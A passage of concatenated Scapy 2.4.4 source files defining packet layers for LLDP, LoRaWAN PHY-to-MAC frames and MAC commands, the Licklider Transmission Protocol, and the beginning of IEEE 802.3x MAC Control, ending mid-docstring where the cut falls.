SUBTYPE_INTERFACE_NUMBER_UNKNOWN, INTERFACE_NUMBERING_SUBTYPES), BitField('interface_number', 0, 32), BitFieldLenField('_oid_string_length', None, 8, length_of='object_id'), XStrLenField('object_id', '', length_from=lambda pkt: pkt._oid_string_length), ] def _check(self): """ run layer specific checks """ if conf.contribs['LLDP'].strict_mode(): management_address_len = len(self.management_address) if management_address_len == 0 or management_address_len > 31: raise LLDPInvalidLengthField( 'management address must be 1..31 characters long - ' 'got string of size {}'.format(management_address_len)) class ThreeBytesEnumField(EnumField, ThreeBytesField): def __init__(self, name, default, enum): EnumField.__init__(self, name, default, enum, "!I") class LLDPDUGenericOrganisationSpecific(LLDPDU): ORG_UNIQUE_CODE_PNO = 0x000ecf ORG_UNIQUE_CODE_IEEE_802_1 = 0x0080c2 ORG_UNIQUE_CODE_IEEE_802_3 = 0x00120f ORG_UNIQUE_CODE_TIA_TR_41_MED = 0x0012bb ORG_UNIQUE_CODE_HYTEC = 0x30b216 ORG_UNIQUE_CODES = { ORG_UNIQUE_CODE_PNO: "PROFIBUS International (PNO)", ORG_UNIQUE_CODE_IEEE_802_1: "IEEE 802.1", ORG_UNIQUE_CODE_IEEE_802_3: "IEEE 802.3", ORG_UNIQUE_CODE_TIA_TR_41_MED: "TIA TR-41 Committee . Media Endpoint Discovery", # noqa: E501 ORG_UNIQUE_CODE_HYTEC: "Hytec Geraetebau GmbH" } fields_desc = [ BitEnumField('_type', 127, 7, LLDPDU.TYPES), BitFieldLenField('_length', None, 9, length_of='data', adjust=lambda pkt, x: len(pkt.data) + 4), # noqa: E501 ThreeBytesEnumField('org_code', 0, ORG_UNIQUE_CODES), ByteField('subtype', 0x00), XStrLenField('data', '', length_from=lambda pkt: pkt._length - 4) ] # 0x09 .. 0x7e is reserved for future standardization and for now treated as Raw() data # noqa: E501 LLDPDU_CLASS_TYPES = { 0x00: LLDPDUEndOfLLDPDU, 0x01: LLDPDUChassisID, 0x02: LLDPDUPortID, 0x03: LLDPDUTimeToLive, 0x04: LLDPDUPortDescription, 0x05: LLDPDUSystemName, 0x06: LLDPDUSystemDescription, 0x07: LLDPDUSystemCapabilities, 0x08: LLDPDUManagementAddress, 127: LLDPDUGenericOrganisationSpecific } class LLDPConfiguration(object): """ basic configuration for LLDP layer """ def __init__(self): self._strict_mode = True self.strict_mode_enable() def strict_mode_enable(self): """ enable strict mode and dissector debugging """ self._strict_mode = True def strict_mode_disable(self): """ disable strict mode and dissector debugging """ self._strict_mode = False def strict_mode(self): """ get current strict mode state """ return self._strict_mode conf.contribs['LLDP'] = LLDPConfiguration() bind_layers(Ether, LLDPDU, type=LLDP_ETHER_TYPE) bind_layers(Dot1Q, LLDPDU, type=LLDP_ETHER_TYPE) scapy-2.4.4/scapy/contrib/loraphy2wan.py000066400000000000000000000647351372370053500202630ustar00rootroot00000000000000# This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # scapy.contrib.description = LoRa PHY to WAN Layer # scapy.contrib.status = loads """ Copyright (C) 2020 Sebastien Dudek (@FlUxIuS @PentHertz) """ from __future__ import absolute_import from scapy.packet import Packet from scapy.fields import BitField, ByteEnumField, ByteField, \ ConditionalField, IntField, LEShortField, PacketListField, \ StrFixedLenField, X3BytesField, XByteField, XIntField, \ XShortField, BitFieldLenField, LEX3BytesField, XBitField, \ BitEnumField, XLEIntField, StrField, PacketField class FCtrl_DownLink(Packet): name = "FCtrl_DownLink" fields_desc = [BitField("ADR", 0, 1), BitField("ADRACKReq", 0, 1), BitField("ACK", 0, 1), BitField("FPending", 0, 1), BitFieldLenField("FOptsLen", 0, 4)] # pylint: disable=R0201 def extract_padding(self, p): return "", p class FCtrl_UpLink(Packet): name = "FCtrl_UpLink" fields_desc = [BitField("ADR", 0, 1), BitField("ADRACKReq", 0, 1), BitField("ACK", 0, 1), BitField("ClassB", 0, 1), BitFieldLenField("FOptsLen", 0, 4)] # pylint: disable=R0201 def extract_padding(self, p): return "", p class DevAddrElem(Packet): name = "DevAddrElem" fields_desc = [XByteField("NwkID", 0x0), LEX3BytesField("NwkAddr", b"\x00" * 3)] CIDs_up = {0x01: "ResetInd", 0x02: "LinkCheckReq", 0x03: "LinkADRReq", 0x04: "DutyCycleReq", 0x05: "RXParamSetupReq", 0x06: "DevStatusReq", 0x07: "NewChannelReq", 0x08: "RXTimingSetupReq", 0x09: "TxParamSetupReq", # LoRa 1.1 specs 0x0A: "DlChannelReq", 0x0B: "RekeyInd", 0x0C: "ADRParamSetupReq", 0x0D: "DeviceTimeReq", 0x0E: "ForceRejoinReq", 0x0F: "RejoinParamSetupReq"} # end of LoRa 1.1 specs CIDs_down = {0x01: "ResetConf", 0x02: "LinkCheckAns", 0x03: "LinkADRAns", 0x04: "DutyCycleAns", 0x05: "RXParamSetupAns", 0x06: "DevStatusAns", 0x07: "NewChannelAns", 0x08: "RXTimingSetupAns", 0x09: "TxParamSetupAns", # LoRa 1.1 specs here 0x0A: "DlChannelAns", 0x0B: "RekeyConf", 0x0C: "ADRParamSetupAns", 0x0D: "DeviceTimeAns", 0x0F: "RejoinParamSetupAns"} # end of LoRa 1.1 specs class ResetInd(Packet): name = "ResetInd" fields_desc = [ByteField("Dev_version", 0)] class ResetConf(Packet): name = "ResetConf" fields_desc = [ByteField("Serv_version", 0)] class LinkCheckReq(Packet): name = "LinkCheckReq" class LinkCheckAns(Packet): name = "LinkCheckAns" fields_desc = [ByteField("Margin", 0), ByteField("GwCnt", 0)] class DataRate_TXPower(Packet): name = "DataRate_TXPower" fields_desc = [XBitField("DataRate", 0, 4), XBitField("TXPower", 0, 4)] class Redundancy(Packet): name = "Redundancy" fields_desc = [XBitField("RFU", 0, 1), XBitField("ChMaskCntl", 0, 3), XBitField("NbTrans", 0, 4)] class LinkADRReq(Packet): name = "LinkADRReq" fields_desc = [DataRate_TXPower, XShortField("ChMask", 0), Redundancy] class LinkADRAns_Status(Packet): name = "LinkADRAns_Status" fields_desc = [BitField("RFU", 0, 5), BitField("PowerACK", 0, 1), BitField("DataRate", 0, 1), BitField("ChannelMaskACK", 0, 1)] class LinkADRAns(Packet): name = "LinkADRAns" fields_desc = [PacketField("status", LinkADRAns_Status(), LinkADRAns_Status)] class DutyCyclePL(Packet): name = "DutyCyclePL" fields_desc = [BitField("MaxDCycle", 0, 4)] class DutyCycleReq(Packet): name = "DutyCycleReq" fields_desc = [DutyCyclePL] class DutyCycleAns(Packet): name = "DutyCycleAns" fields_desc = [] class DLsettings(Packet): name = "DLsettings" fields_desc = [BitField("OptNeg", 0, 1), XBitField("RX1DRoffset", 0, 3), XBitField("RX2_Data_rate", 0, 4)] class RXParamSetupReq(Packet): name = "RXParamSetupReq" fields_desc = [DLsettings, X3BytesField("Frequency", 0)] class RXParamSetupAns_Status(Packet): name = "RXParamSetupAns_Status" fields_desc = [XBitField("RFU", 0, 5), BitField("RX1DRoffsetACK", 0, 1), BitField("RX2DatarateACK", 0, 1), BitField("ChannelACK", 0, 1)] class RXParamSetupAns(Packet): name = "RXParamSetupAns" fields_desc = [RXParamSetupAns_Status] Battery_state = {0: "End-device connected to external source", 255: "Battery level unknown"} class DevStatusReq(Packet): name = "DevStatusReq" fields_desc = [ByteEnumField("Battery", 0, Battery_state), ByteField("Margin", 0)] class DevStatusAns_Status(Packet): name = "DevStatusAns_Status" fields_desc = [XBitField("RFU", 0, 2), XBitField("Margin", 0, 6)] class DevStatusAns(Packet): name = "DevStatusAns" fields_desc = [DevStatusAns_Status] class DrRange(Packet): name = "DrRange" fields_desc = [XBitField("MaxDR", 0, 4), XBitField("MinDR", 0, 4)] class NewChannelReq(Packet): name = "NewChannelReq" fields_desc = [ByteField("ChIndex", 0), X3BytesField("Freq", 0), DrRange] class NewChannelAns_Status(Packet): name = "NewChannelAns_Status" fields_desc = [XBitField("RFU", 0, 6), BitField("Dataraterangeok", 0, 1), BitField("Channelfrequencyok", 0, 1)] class NewChannelAns(Packet): name = "NewChannelAns" fields_desc = [NewChannelAns_Status] class RXTimingSetupReq_Settings(Packet): name = "RXTimingSetupReq_Settings" fields_desc = [XBitField("RFU", 0, 4), XBitField("Del", 0, 4)] class RXTimingSetupReq(Packet): name = "RXTimingSetupReq" fields_desc = [RXTimingSetupReq_Settings] class RXTimingSetupAns(Packet): name = "RXTimingSetupAns" fields_desc = [] # Specific commands for LoRa 1.1 here MaxEIRPs = {0: "8 dbm", 1: "10 dbm", 2: "12 dbm", 3: "13 dbm", 4: "14 dbm", 5: "16 dbm", 6: "18 dbm", 7: "20 dbm", 8: "21 dbm", 9: "24 dbm", 10: "26 dbm", 11: "27 dbm", 12: "29 dbm", 13: "30 dbm", 14: "33 dbm", 15: "36 dbm"} DwellTimes = {0: "No limit", 1: "400 ms"} class EIRP_DwellTime(Packet): name = "EIRP_DwellTime" fields_desc = [BitField("RFU", 0b0, 2), BitEnumField("DownlinkDwellTime", 0b0, 1, DwellTimes), BitEnumField("UplinkDwellTime", 0b0, 1, DwellTimes), BitEnumField("MaxEIRP", 0b0000, 4, MaxEIRPs)] class TxParamSetupReq(Packet): name = "TxParamSetupReq" fields_desc = [EIRP_DwellTime] class TxParamSetupAns(Packet): name = "TxParamSetupAns" fields_desc = [] class DlChannelReq(Packet): name = "DlChannelReq" fields_desc = [ByteField("ChIndex", 0), X3BytesField("Freq", 0)] class DlChannelAns(Packet): name = "DlChannelAns" fields_desc = [ByteField("Status", 0)] class DevLoraWANversion(Packet): name = "DevLoraWANversion" fields_desc = [BitField("RFU", 0b0000, 4), BitField("Minor", 0b0001, 4)] class RekeyInd(Packet): name = "RekeyInd" fields_desc = [PacketListField("LoRaWANversion", b"", DevLoraWANversion, length_from=lambda pkt:1)] class RekeyConf(Packet): name = "RekeyConf" fields_desc = [ByteField("ServerVersion", 0)] class ADRparam(Packet): name = "ADRparam" fields_desc = [BitField("Limit_exp", 0b0000, 4), BitField("Delay_exp", 0b0000, 4)] class ADRParamSetupReq(Packet): name = "ADRParamSetupReq" fields_desc = [ADRparam] class ADRParamSetupAns(Packet): name = "ADRParamSetupReq" fields_desc = [] class DeviceTimeReq(Packet): name = "DeviceTimeReq" fields_desc = [] class DeviceTimeAns(Packet): name = "DeviceTimeAns" fields_desc = [IntField("SecondsSinceEpoch", 0), ByteField("FracSecond", 0x00)] class ForceRejoinReq(Packet): name = "ForceRejoinReq" fields_desc = [BitField("RFU", 0, 2), BitField("Period", 0, 3), BitField("Max_Retries", 0, 3), BitField("RFU", 0, 1), BitField("RejoinType", 0, 3), BitField("DR", 0, 4)] class RejoinParamSetupReq(Packet): name = "RejoinParamSetupReq" fields_desc = [BitField("MaxTimeN", 0, 4), BitField("MaxCountN", 0, 4)] class RejoinParamSetupAns(Packet): name = "RejoinParamSetupAns" fields_desc = [BitField("RFU", 0, 7), BitField("TimeOK", 0, 1)] # End of specific 1.1 commands class MACCommand_up(Packet): name = "MACCommand_up" fields_desc = [ByteEnumField("CID", 0, CIDs_up), ConditionalField(PacketListField("Reset", b"", ResetInd, length_from=lambda pkt:1), lambda pkt:(pkt.CID == 0x01)), ConditionalField(PacketListField("LinkCheck", b"", LinkCheckReq, length_from=lambda pkt:0), lambda pkt:(pkt.CID == 0x02)), ConditionalField(PacketListField("LinkADR", b"", LinkADRReq, length_from=lambda pkt:4), lambda pkt:(pkt.CID == 0x03)), ConditionalField(PacketListField("DutyCycle", b"", DutyCycleReq, length_from=lambda pkt:4), lambda pkt:(pkt.CID == 0x04)), ConditionalField(PacketListField("RXParamSetup", b"", RXParamSetupReq, length_from=lambda pkt:4), lambda pkt:(pkt.CID == 0x05)), ConditionalField(PacketListField("DevStatus", b"", DevStatusReq, length_from=lambda pkt:2), lambda pkt:(pkt.CID == 0x06)), ConditionalField(PacketListField("NewChannel", b"", NewChannelReq, length_from=lambda pkt:5), lambda pkt:(pkt.CID == 0x07)), ConditionalField(PacketListField("RXTimingSetup", b"", RXTimingSetupReq, length_from=lambda pkt:1), lambda pkt:(pkt.CID == 0x08)), # specific to 1.1 from here ConditionalField(PacketListField("TxParamSetup", b"", TxParamSetupReq, length_from=lambda pkt:1), lambda pkt:(pkt.CID == 0x09)), ConditionalField(PacketListField("DlChannel", b"", DlChannelReq, length_from=lambda pkt:4), lambda pkt:(pkt.CID == 0x0A)), ConditionalField(PacketListField("Rekey", b"", RekeyInd, length_from=lambda pkt:1), lambda pkt:(pkt.CID == 0x0B)), ConditionalField(PacketListField("ADRParamSetup", b"", ADRParamSetupReq, length_from=lambda pkt:1), lambda pkt:(pkt.CID == 0x0C)), ConditionalField(PacketListField("DeviceTime", b"", DeviceTimeReq, length_from=lambda pkt:0), lambda pkt:(pkt.CID == 0x0D)), ConditionalField(PacketListField("ForceRejoin", b"", ForceRejoinReq, length_from=lambda pkt:2), lambda pkt:(pkt.CID == 0x0E)), ConditionalField(PacketListField("RejoinParamSetup", b"", RejoinParamSetupReq, length_from=lambda pkt:1), lambda pkt:(pkt.CID == 0x0F))] # pylint: disable=R0201 def extract_padding(self, p): return "", p class MACCommand_down(Packet): name = "MACCommand_down" fields_desc = [ByteEnumField("CID", 0, CIDs_up), ConditionalField(PacketListField("Reset", b"", ResetConf, length_from=lambda pkt:1), lambda pkt:(pkt.CID == 0x01)), ConditionalField(PacketListField("LinkCheck", b"", LinkCheckAns, length_from=lambda pkt:2), lambda pkt:(pkt.CID == 0x02)), ConditionalField(PacketListField("LinkADR", b"", LinkADRAns, length_from=lambda pkt:0), lambda pkt:(pkt.CID == 0x03)), ConditionalField(PacketListField("DutyCycle", b"", DutyCycleAns, length_from=lambda pkt:4), lambda pkt:(pkt.CID == 0x04)), ConditionalField(PacketListField("RXParamSetup", b"", RXParamSetupAns, length_from=lambda pkt:1), lambda pkt:(pkt.CID == 0x05)), ConditionalField(PacketListField("DevStatusAns", b"", RXParamSetupAns, length_from=lambda pkt:1), lambda pkt:(pkt.CID == 0x06)), ConditionalField(PacketListField("NewChannel", b"", NewChannelAns, length_from=lambda pkt:1), lambda pkt:(pkt.CID == 0x07)), ConditionalField(PacketListField("RXTimingSetup", b"", RXTimingSetupAns, length_from=lambda pkt:0), lambda pkt:(pkt.CID == 0x08)), ConditionalField(PacketListField("TxParamSetup", b"", TxParamSetupAns, length_from=lambda pkt:0), lambda pkt:(pkt.CID == 0x09)), ConditionalField(PacketListField("DlChannel", b"", DlChannelAns, length_from=lambda pkt:1), lambda pkt:(pkt.CID == 0x0A)), ConditionalField(PacketListField("Rekey", b"", RekeyConf, length_from=lambda pkt:1), lambda pkt:(pkt.CID == 0x0B)), ConditionalField(PacketListField("ADRParamSetup", b"", ADRParamSetupAns, length_from=lambda pkt:0), lambda pkt:(pkt.CID == 0x0C)), ConditionalField(PacketListField("DeviceTime", b"", DeviceTimeAns, length_from=lambda pkt:5), lambda pkt:(pkt.CID == 0x0D)), ConditionalField(PacketListField("RejoinParamSetup", b"", RejoinParamSetupAns, length_from=lambda pkt:1), lambda pkt:(pkt.CID == 0x0F))] class FOpts(Packet): name = "FOpts" fields_desc = [ConditionalField(PacketListField("FOpts_up", b"", # UL piggy MAC Command MACCommand_up, length_from=lambda pkt:pkt.FCtrl[0].FOptsLen), # noqa: E501 lambda pkt:(pkt.FCtrl[0].FOptsLen > 0 and pkt.MType & 0b1 == 0 and pkt.MType >= 0b010)), ConditionalField(PacketListField("FOpts_down", b"", # DL piggy MAC Command MACCommand_down, length_from=lambda pkt:pkt.FCtrl[0].FOptsLen), # noqa: E501 lambda pkt:(pkt.FCtrl[0].FOptsLen > 0 and pkt.MType & 0b1 == 1 and pkt.MType <= 0b101))] def FOptsDownShow(pkt): try: if pkt.FCtrl[0].FOptsLen > 0 and pkt.MType & 0b1 == 1 and pkt.MType <= 0b101: # noqa: E501 return True return False except Exception: return False def FOptsUpShow(pkt): try: if pkt.FCtrl[0].FOptsLen > 0 and pkt.MType & 0b1 == 0 and pkt.MType >= 0b010: # noqa: E501 return True return False except Exception: return False class FHDR(Packet): name = "FHDR" fields_desc = [ConditionalField(PacketListField("DevAddr", b"", DevAddrElem, # noqa: E501 length_from=lambda pkt:4), lambda pkt:(pkt.MType >= 0b010 and pkt.MType <= 0b101)), ConditionalField(PacketListField("FCtrl", b"", FCtrl_DownLink, length_from=lambda pkt:1), lambda pkt:(pkt.MType & 0b1 == 1 and pkt.MType <= 0b101)), ConditionalField(PacketListField("FCtrl", b"", FCtrl_UpLink, length_from=lambda pkt:1), lambda pkt:(pkt.MType & 0b1 == 0 and pkt.MType >= 0b010)), ConditionalField(LEShortField("FCnt", 0), lambda pkt:(pkt.MType >= 0b010 and pkt.MType <= 0b101)), ConditionalField(PacketListField("FOpts_up", b"", MACCommand_up, length_from=lambda pkt:pkt.FCtrl[0].FOptsLen), # noqa: E501 FOptsUpShow), ConditionalField(PacketListField("FOpts_down", b"", MACCommand_down, length_from=lambda pkt:pkt.FCtrl[0].FOptsLen), # noqa: E501 FOptsDownShow)] FPorts = {0: "NwkSKey"} # anything else is AppSKey JoinReqTypes = {0xFF: "Join-request", 0x00: "Rejoin-request type 0", 0x01: "Rejoin-request type 1", 0x02: "Rejoin-request type 2"} class Join_Request(Packet): name = "Join_Request" fields_desc = [StrFixedLenField("AppEUI", b"\x00" * 8, 8), StrFixedLenField("DevEUI", b"\00" * 8, 8), LEShortField("DevNonce", 0x0000)] class Join_Accept(Packet): name = "Join_Accept" dcflist = False fields_desc = [LEX3BytesField("JoinAppNonce", 0), LEX3BytesField("NetID", 0), XLEIntField("DevAddr", 0), DLsettings, XByteField("RxDelay", 0), ConditionalField(StrFixedLenField("CFList", b"\x00" * 16, 16), # noqa: E501 lambda pkt:(Join_Accept.dcflist is True))] # pylint: disable=R0201 def extract_padding(self, p): return "", p def __init__(self, packet=""): # CFList calculated with rest of packet len if len(packet) > 18: Join_Accept.dcflist = True super(Join_Accept, self).__init__(packet) RejoinType = {0: "NetID+DevEUI", 1: "JoinEUI+DevEUI", 2: "NetID+DevEUI"} class RejoinReq(Packet): # LoRa 1.1 specs name = "RejoinReq" fields_desc = [ByteField("Type", 0), X3BytesField("NetID", 0), StrFixedLenField("DevEUI", b"\x00" * 8), XShortField("RJcount0", 0)] class FRMPayload(Packet): name = "FRMPayload" fields_desc = [ConditionalField(StrField("DataPayload", "", remain=4), # Downlink # noqa: E501 lambda pkt:(pkt.MType == 0b101 or pkt.MType == 0b011)), ConditionalField(StrField("DataPayload", "", remain=6), # Uplink # noqa: E501 lambda pkt:(pkt.MType == 0b100 or pkt.MType == 0b010)), ConditionalField(PacketListField("Join_Request_Field", b"", Join_Request, length_from=lambda pkt:18), lambda pkt:(pkt.MType == 0b000)), ConditionalField(PacketListField("Join_Accept_Field", b"", Join_Accept, count_from=lambda pkt:1), lambda pkt:(pkt.MType == 0b001 and LoRa.encrypted is False)), ConditionalField(StrField("Join_Accept_Encrypted", 0), lambda pkt:(pkt.MType == 0b001 and LoRa.encrypted is True)), # noqa: E501 ConditionalField(PacketListField("ReJoin_Request_Field", b"", # noqa: E501 RejoinReq, length_from=lambda pkt:14), lambda pkt:(pkt.MType == 0b111))] class MACPayload(Packet): name = "MACPayload" eFPort = False fields_desc = [FHDR, ConditionalField(ByteEnumField("FPort", 0, FPorts), lambda pkt:(pkt.MType >= 0b010 and pkt.MType <= 0b101 and pkt.FCtrl[0].FOptsLen == 0)), FRMPayload] MTypes = {0b000: "Join-request", 0b001: "Join-accept", 0b010: "Unconfirmed Data Up", 0b011: "Unconfirmed Data Down", 0b100: "Confirmed Data Up", 0b101: "Confirmed Data Down", 0b110: "Rejoin-request", # Only in LoRa 1.1 specs 0b111: "Proprietary"} class MHDR(Packet): # Same for 1.0 as for 1.1 name = "MHDR" fields_desc = [BitEnumField("MType", 0b000, 3, MTypes), BitField("RFU", 0b000, 3), BitField("Major", 0b00, 2)] class PHYPayload(Packet): name = "PHYPayload" fields_desc = [MHDR, MACPayload, ConditionalField(XIntField("MIC", 0), lambda pkt:(pkt.MType != 0b001 or LoRa.encrypted is False))] class LoRa(Packet): # default frame (unclear specs => taken from https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5677147/) # noqa: E501 name = "LoRa" version = "1.1" # default version to parse encrypted = True fields_desc = [XBitField("Preamble", 0, 4), XBitField("PHDR", 0, 16), XBitField("PHDR_CRC", 0, 4), PHYPayload, ConditionalField(XShortField("CRC", 0), lambda pkt:(pkt.MType & 0b1 == 0))] scapy-2.4.4/scapy/contrib/ltp.py000077500000000000000000000200001372370053500165700ustar00rootroot00000000000000# This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . """ Copyright 2012, The MITRE Corporation:: NOTICE This software/technical data was produced for the U.S. Government under Prime Contract No. NASA-03001 and JPL Contract No. 1295026 and is subject to FAR 52.227-14 (6/87) Rights in Data General, and Article GP-51, Rights in Data General, respectively. This software is publicly released under MITRE case #12-3054 """ # scapy.contrib.description = Licklider Transmission Protocol (LTP) # scapy.contrib.status = loads import scapy.modules.six as six from scapy.packet import Packet, bind_layers, bind_top_down from scapy.fields import BitEnumField, BitField, BitFieldLenField, \ ByteEnumField, ConditionalField, PacketListField, StrLenField from scapy.layers.inet import UDP from scapy.config import conf from scapy.contrib.sdnv import SDNV2, SDNV2FieldLenField # LTP https://tools.ietf.org/html/rfc5326 _ltp_flag_vals = { 0: '0x0 Red data, NOT (Checkpoint, EORP or EOB)', 1: '0x1 Red data, Checkpoint, NOT (EORP or EOB)', 2: '0x2 Red data, Checkpoint, EORP, NOT EOB', 3: '0x3 Red data, Checkpoint, EORP, EOB', 4: '0x4 Green data, NOT EOB', 5: '0x5 Green data, undefined', 6: '0x6 Green data, undefined', 7: '0x7 Green data, EOB', 8: '0x8 Report segment', 9: '0x9 Report-acknowledgment segmen', 10: '0xA Control segment, undefined', 11: '0xB Control segment, undefined', 12: '0xC Cancel segment from block sender', 13: '0xD Cancel-acknowledgment segment to block sender', 14: '0xE Cancel segment from block receiver', 15: '0xF Cancel-acknowledgment segment to block receiver'} _ltp_cancel_reasons = { 0: 'USR_CNCLD - Client service canceled session.', 1: 'UNREACH - Unreachable client service.', 2: 'RLEXC - Retransmission limit exceeded.', 3: 'MISCOLORED - Received miscolored segment.', 4: 'SYS_CNCLD - System error condition.', 5: 'RXMTCYCEXC - Exceeded the retransmission cycles limit.', 6: 'RESERVED'} # Reserved 0x06-0xFF # LTP Extensions https://tools.ietf.org/html/rfc5327 _ltp_extension_tag = { 0: 'LTP authentication extension', 1: 'LTP cookie extension' } _ltp_data_segment = [0, 1, 2, 3, 4, 5, 6, 7] _ltp_checkpoint_segment = [1, 2, 3] _ltp_payload_conditions = {} def ltp_bind_payload(cls, lambd): """Bind payload class to the LTP packets. :param cls: the class to bind :param lambd: lambda that will be called to check whether or not the cls should be used ex: lambda pkt: ... """ _ltp_payload_conditions[cls] = lambd class LTPex(Packet): name = "LTP Extension" fields_desc = [ ByteEnumField("ExTag", 0, _ltp_extension_tag), SDNV2FieldLenField("ExLength", None, length_of="ExData"), # SDNV2FieldLenField StrLenField("ExData", "", length_from=lambda x: x.ExLength) ] def default_payload_class(self, pay): return conf.padding_layer class LTPReceptionClaim(Packet): name = "LTP Reception Claim" fields_desc = [SDNV2("ReceptionClaimOffset", 0), SDNV2("ReceptionClaimLength", 0)] def default_payload_class(self, pay): return conf.padding_layer def _ltp_guess_payload(pkt, *args): for k, v in six.iteritems(_ltp_payload_conditions): if v(pkt): return k return conf.raw_layer class LTP(Packet): name = "LTP" fields_desc = [ BitField('version', 0, 4), BitEnumField('flags', 0, 4, _ltp_flag_vals), SDNV2("SessionOriginator", 0), SDNV2("SessionNumber", 0), BitFieldLenField("HeaderExtensionCount", None, 4, count_of="HeaderExtensions"), # noqa: E501 BitFieldLenField("TrailerExtensionCount", None, 4, count_of="TrailerExtensions"), # noqa: E501 PacketListField("HeaderExtensions", [], LTPex, count_from=lambda x: x.HeaderExtensionCount), # noqa: E501 # # LTP segments containing data have a DATA header # ConditionalField(SDNV2("DATA_ClientServiceID", 0), lambda x: x.flags in _ltp_data_segment), ConditionalField(SDNV2("DATA_PayloadOffset", 0), lambda x: x.flags in _ltp_data_segment), ConditionalField(SDNV2FieldLenField("DATA_PayloadLength", None, length_of="LTP_Payload"), # noqa: E501 lambda x: x.flags in _ltp_data_segment), # # LTP segments that are checkpoints will have a checkpoint serial number and report serial number. # noqa: E501 # ConditionalField(SDNV2("CheckpointSerialNo", 0), lambda x: x.flags in _ltp_checkpoint_segment), ConditionalField(SDNV2("ReportSerialNo", 0), lambda x: x.flags in _ltp_checkpoint_segment), # # Then comes the actual payload for data carrying segments. # ConditionalField(PacketListField("LTP_Payload", None, next_cls_cb=_ltp_guess_payload, # noqa: E501 length_from=lambda x: x.DATA_PayloadLength), # noqa: E501 lambda x: x.flags in _ltp_data_segment), # # Report ACKS acknowledge a particular report serial number. # ConditionalField(SDNV2("RA_ReportSerialNo", 0), lambda x: x.flags == 9), # # Reception reports have the following fields. # ConditionalField(SDNV2("ReportSerialNo", 0), lambda x: x.flags == 8), ConditionalField(SDNV2("ReportCheckpointSerialNo", 0), lambda x: x.flags == 8), ConditionalField(SDNV2("ReportUpperBound", 0), lambda x: x.flags == 8), ConditionalField(SDNV2("ReportLowerBound", 0), lambda x: x.flags == 8), ConditionalField(SDNV2FieldLenField("ReportReceptionClaimCount", None, count_of="ReportReceptionClaims"), # noqa: E501 lambda x: x.flags == 8), ConditionalField(PacketListField("ReportReceptionClaims", [], LTPReceptionClaim, # noqa: E501 count_from=lambda x: x.ReportReceptionClaimCount), # noqa: E501 lambda x: x.flags == 8 and (not x.ReportReceptionClaimCount or x.ReportReceptionClaimCount > 0)), # noqa: E501 # # Cancellation Requests # ConditionalField(ByteEnumField("CancelFromSenderReason", 15, _ltp_cancel_reasons), lambda x: x.flags == 12), ConditionalField(ByteEnumField("CancelFromReceiverReason", 15, _ltp_cancel_reasons), lambda x: x.flags == 14), # # Cancellation Acknowldgements # ConditionalField(SDNV2("CancelAckToBlockSender", 0), lambda x: x.flags == 13), ConditionalField(SDNV2("CancelAckToBlockReceiver", 0), lambda x: x.flags == 15), # # Finally, trailing extensions # PacketListField("TrailerExtensions", [], LTPex, count_from=lambda x: x.TrailerExtensionCount) # noqa: E501 ] def mysummary(self): return self.sprintf("LTP %SessionNumber%"), [UDP] bind_top_down(UDP, LTP, sport=1113) bind_top_down(UDP, LTP, dport=1113) bind_top_down(UDP, LTP, sport=2113) bind_top_down(UDP, LTP, dport=2113) bind_layers(UDP, LTP, sport=1113, dport=1113) scapy-2.4.4/scapy/contrib/mac_control.py000066400000000000000000000171161372370053500203040ustar00rootroot00000000000000# scapy.contrib.description = MACControl # scapy.contrib.status = loads """ MACControl ~~~~~~~~~~ :author: Thomas Tannhaeuser, hecke@naberius.de :license: GPLv2 This module is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This module is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. :description: This module provides Scapy layers for the MACControl protocol messages: - Pause - Gate - Report - Register/REQ/ACK - Class Based Flow Control normative references: - IEEE 802.3x :NOTES: - this is based on the MACControl dissector used by Wireshark (https://github.com/wireshark/wireshark/blob/master/epan/dissectors/packet-maccontrol.c) """ from scapy.compat import orb from scapy.data import ETHER_TYPES from scapy.error import Scapy_Exception from scapy.fields import IntField, ByteField, ByteEnumField, ShortField, BitField # noqa: E501 from scapy.layers.dot11 import Packet from scapy.layers.l2 import Ether, Dot1Q, bind_layers MAC_CONTROL_ETHER_TYPE = 0x8808 ETHER_TYPES[MAC_CONTROL_ETHER_TYPE] = 'MAC_CONTROL' ETHER_SPEED_MBIT_10 = 0x01 ETHER_SPEED_MBIT_100 = 0x02 ETHER_SPEED_MBIT_1000 = 0x04 class MACControl(Packet): DEFAULT_DST_MAC = "01:80:c2:00:00:01" OP_CODE_PAUSE = 0x0001 OP_CODE_GATE = 0x0002 OP_CODE_REPORT = 0x0003 OP_CODE_REGISTER_REQ = 0x0004 OP_CODE_REGISTER = 0x0005 OP_CODE_REGISTER_ACK = 0x0006 OP_CODE_CLASS_BASED_FLOW_CONTROL = 0x0101 OP_CODES = { OP_CODE_PAUSE: 'pause', OP_CODE_GATE: 'gate', OP_CODE_REPORT: 'report', OP_CODE_REGISTER_REQ: 'register req', OP_CODE_REGISTER: 'register', OP_CODE_REGISTER_ACK: 'register_ack', OP_CODE_CLASS_BASED_FLOW_CONTROL: 'class based flow control' } ''' flags used by Register* messages ''' FLAG_REGISTER = 0x01 FLAG_DEREGISTER = 0x02 FLAG_ACK = 0x03 FLAG_NACK = 0x04 REGISTER_FLAGS = { FLAG_REGISTER: 'register', FLAG_DEREGISTER: 'deregister', FLAG_ACK: 'ack', FLAG_NACK: 'nack' } def guess_payload_class(self, payload): try: op_code = (orb(payload[0]) << 8) + orb(payload[1]) return MAC_CTRL_CLASSES[op_code] except KeyError: pass return Packet.guess_payload_class(self, payload) def _get_underlayers_size(self): """ get the 